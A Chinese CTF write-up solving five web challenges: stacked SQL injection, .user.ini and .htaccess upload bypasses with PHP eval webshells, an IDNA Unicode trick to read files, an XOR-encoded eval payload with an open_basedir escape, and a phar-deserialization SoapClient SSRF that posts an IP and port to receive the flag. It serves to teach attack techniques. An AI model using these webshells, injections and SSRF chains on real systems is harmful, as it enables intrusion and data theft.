0x01 EasySQL
這是一個考察堆疊注入的題目,但是這道題因為作者的過濾不夠完全所以存在非預期解
非預期解
直接構造 *,1
這樣構造,最后拼接的查詢語句就變成了 select *,1||flag from Flag
,可以直接得到當前表中的全部內容,就能夠直接獲得flag
正常解題
堆疊注入,先構造 1;show tables;#
可以得到當前的表信息
並且根據回顯,我們可以大致判斷查詢語句為: ... POST['query']||flag ...
直接構造 1;select * from Flag;#
出現Nonono
, 可以知道存在過濾,過濾了flag
這時候,通過堆疊注入,設置 sql_mode
的值為 PIPES_AS_CONCAT
,從而將 || 視為字符串的連接操作符而非或運算符,所以構造出來的payload為:1;set sql_mode=PIPES_AS_CONCAT;select 1
得到flag
0x02 CheckIn
上傳文件的時候發現,上傳擴展名為aaa的文件,回顯<? in contents!
,說明文件的內容不能包含<?,可以知道上傳的時候是黑名單過濾,直接把文件的尾綴改為jpg,回顯exif_imagetype:not image!
猜測后端應該調用了php的exif_imagetype()
函數,這個很好繞過,添加圖片文件頭就可以了,我這里添加的是GIF89a,上傳成功一個文件之后,在回顯中,發現上傳目錄中存在index.php
文件
這里就可以知道需要用到.user.ini
文件了,先上傳一個.user.ini
文件,上傳文件內容為
GIF89a
auto_prepend_file="test.png"
通過auto_prepend_file
指定需要包含的文件,這里我包含了一個test.png
接着在上傳需要包含進去的test.png
文件,文件內容為:
GIF89a
<script language="php">eval($_POST['five'])</script>
這時候,其實就把test.png文件里面的一句話包含進了上傳文件目錄里的index.php文件中,可以直接在index.php中執行一句話,蟻劍連上,可以在文件中找到flag,讀取就好
貼一篇優秀的文章
0x03 Pythonginx
進入頁面后給了源碼:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
\#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
這題的出題思路來自於今年BlackHat的一個議題,相關PPT如下:
其中關於Python的內容如下:
大佬寫的一個腳本,用來尋找可用字符:
\# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
下面就是尋找利用方式了,根據題目中的提示:
前面的url部分應該是suctf.cc
還提到了Nginx,Nginx的配置文件目錄為:/usr/local/nginx/conf/nginx.conf
跑上述腳本的的時候,其中有一個可利用字符:
由此可以想到構造:file://suctf.c℆sr/local/nginx/conf/nginx.conf
(另一種繞過方式是利用ℂ來代替c及進行繞過),這樣可以讀到flag的位置:
最后構造payload:file://suctf.c℆sr/fffffflag
0x04 EasyWeb
題目頁面給了源碼
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
代碼分為兩部分,上面是get_the_flag()
函數,應該是一個文件上傳功能的驗證函數,下面是通過 _
傳參進去,如果能通過一系列的檢驗則可以執行eval()函數。如果這題是考RCE的話,為什么還要給出文件上傳的代,再看那些過濾,幾乎很難去繞過,於是考慮調用get_the_flag()
函數來看看可不可以通過文件上傳功能
所以接下來要構造payload繞過正則檢測並且調用get_the_flag()
,這里的過濾非常嚴格,幾乎過濾了所有可見字符,可以看下這篇文章 https://www.leavesongs.com/penetration/webshell-without-alphanum.html
就可以知道如何來繞過了,這里可以利用不可見字符的異或來構造,腳本如下
<?php
$payload = '';
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[1][$i])
$payload .= '%'.dechex($j);
}
}
echo $payload;
可以得到
所以嘗試構造payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
構造成功,於是構造payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
接下來就是通過上傳來getshell了,這里確實是需要上傳.htaccess文件了,繞過方式可以參考這篇文章:
https://www.cnblogs.com/wfzWebSecuity/p/11207145.html
exif_imagetype()
的繞過方式和上面一樣
這里注意到php版本為7.2所以,不能用<script>
標簽繞過<?
的過濾了,可以通過編碼進行繞過,如原來使用utf8編碼,如果shell中是用utf16編碼則可以Bypass
直接利用腳本生成文件:
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .lethe\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
然后利用Postman分別構造上傳.htaccess
和shell.lethe
:
得到了文件路徑 upload/tmp_f4e7685fe689f675c85caeefaedcf40c/shell.lethe
利用shell.lethe執行命令了,但是還需要繞過open_basedir
。
參考:從PHP底層看open_basedir bypass
於是構造payload如下:
?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));
得到flag位置后,最后讀取flag即可,payload:
?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(THis_Is_tHe_F14g));
0x05 Upload Lab 2
題目給了源碼,所以就是進行代碼審計
class Ad{ ...... function __destruct(){ getFlag($this->ip, $this->port); //使用你自己的服務器監聽一個確保可以收到消息的端口來獲取flag } } if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ if(isset($_POST['admin'])){ $ip = $_POST['ip']; //你用來獲取flag的服務器ip $port = $_POST['port']; //你用來獲取flag的服務器端口 $clazz = $_POST['clazz']; $func1 = $_POST['func1']; $func2 = $_POST['func2']; $func3 = $_POST['func3']; $arg1 = $_POST['arg1']; $arg2 = $_POST['arg2']; $arg2 = $_POST['arg3']; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } ......
也就是說需要通過SSRF來反序列化觸發getFlag函數,所以繼續查看代碼
#class.php ...... function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); } ......
參考zsx的文章:https://blog.zsxsoft.com/post/38,查看finfo_file的底層代碼
闊以發現finfo_file也調用了,所以finfo_file也是能夠觸發phar反序列化的,那么就可以利用SoapClient來通過SSRF以POST方式訪問到admin.php文件。不過在func.php中又做了限制
<?php include 'class.php'; if (isset($_POST["submit"]) && isset($_POST["url"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; } }
phar協議不能出現在開頭,還是zxs那篇文章里寫的
也就是說闊以構造繞過一下來調用phar協議,這里的吹一下altman(https://altman.vip/),fuzz到一個可以利用的方法php://filter/resource=phar://
所以接下來就是生成一個phar腳本,上傳后通過func觸發就好了
<?php class File{ public $file_name; public $type; public $func = "SoapClient"; function __construct(){ $this->file_name = array(null, array('location' => "http://127.0.0.1/admin.php", 'uri' => "c", 'user_agent' => "catcat\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 133\r\n\r\nip=72.19.12.57&port=1234&admin=1&clazz=ArrayIterator&func1=append&func2=append&func3=append&arg1=1&arg2=1&arg3=1\r\n\r\n\r\n")); } } $o = new File(); $phar=new Phar('poc.phar'); $phar->startBuffering(); $phar->setStub("GIF89a< ?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering();
我自己在運行腳本的時候,出現了錯誤提示
需要把phar.readonly設置為Off
然后改個后綴上傳,我這里改成了jpg,
vps上監聽一下端口,到func.php觸發就可以了
問題來了~~~,我監聽不到,不知道是什么問題,感覺可能是國外的IP,不能訪問???
迷惑,有時間再看吧,咕咕咕~~~
沒看懂,只能把網上大佬的wp搬過來了~~~
再加上點其他大佬的鏈接